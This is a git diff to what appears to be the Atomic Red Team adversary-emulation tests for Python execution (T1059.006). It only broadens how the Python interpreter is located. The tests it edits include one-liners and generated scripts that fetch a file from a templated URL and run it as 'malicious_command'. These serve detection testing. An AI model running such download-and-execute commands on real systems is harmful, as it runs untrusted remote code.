diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 13bb8d07..736262af 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -63234,17 +63234,15 @@ execution: - description: Verify if python is in the environment variable path and attempt to import requests library. prereq_command: | - which_python=`which python`; python -V + which_python=$(which python || which python3 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: 'pip install requests ' executor: - command: '$which_python -c ''import requests;import os;url = "#{script_url}";malicious_command - = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source - = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'' - -' + command: | + which_python=$(which python || which python3 || which python2) + $which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)' name: sh cleanup_command: "rm #{payload_file_name} \n" - name: Execute Python via scripts (Linux) @@ -63282,11 +63280,12 @@ execution: ' prereq_command: | - which_python=`which python`; python -V + which_python=$(which python || which python3 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: "pip install requests \n" executor: command: | + which_python=$(which python || which python3 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name} @@ -63342,11 +63341,12 @@ execution: ' prereq_command: | - which_python=`which python`; python -V + which_python=$(which python || which python3 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: "pip install requests \n" executor: command: | + which_python=$(which python || which python3 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name} diff --git a/atomics/T1059.006/T1059.006.md b/atomics/T1059.006/T1059.006.md index db4b1100..ce003954 100644 --- a/atomics/T1059.006/T1059.006.md +++ b/atomics/T1059.006/T1059.006.md @@ -40,6 +40,7 @@ Download and execute shell script and write to file then execute locally using P ```sh +which_python=$(which python || which python3 || which python2) $which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)' ``` @@ -54,7 +55,7 @@ rm #{payload_file_name} ##### Description: Verify if python is in the environment variable path and attempt to import requests library. ##### Check Prereq Commands: ```sh -which_python=`which python`; python -V +which_python=$(which python || which python3 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? ``` ##### Get Prereq Commands: @@ -94,6 +95,7 @@ Create Python file (.py) that downloads and executes shell script via executor a ```sh +which_python=$(which python || which python3 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name} @@ -118,7 +120,7 @@ rm #{python_script_name} #{payload_file_name} ##### Description: Requires Python ##### Check Prereq Commands: ```sh -which_python=`which python`; python -V +which_python=$(which python || which python3 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? ``` ##### Get Prereq Commands: @@ -159,6 +161,7 @@ Create Python file (.py) then compile to binary (.pyc) that downloads an externa ```sh +which_python=$(which python || which python3 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name} @@ -184,7 +187,7 @@ rm #{python_binary_name} #{python_script_name} #{payload_file_name} ##### Description: Requires Python ##### Check Prereq Commands: ```sh -which_python=`which python`; python -V +which_python=$(which python || which python3 || which python2); $which_python -V $which_python -c 'import requests' 2>/dev/null; echo $? ``` ##### Get Prereq Commands: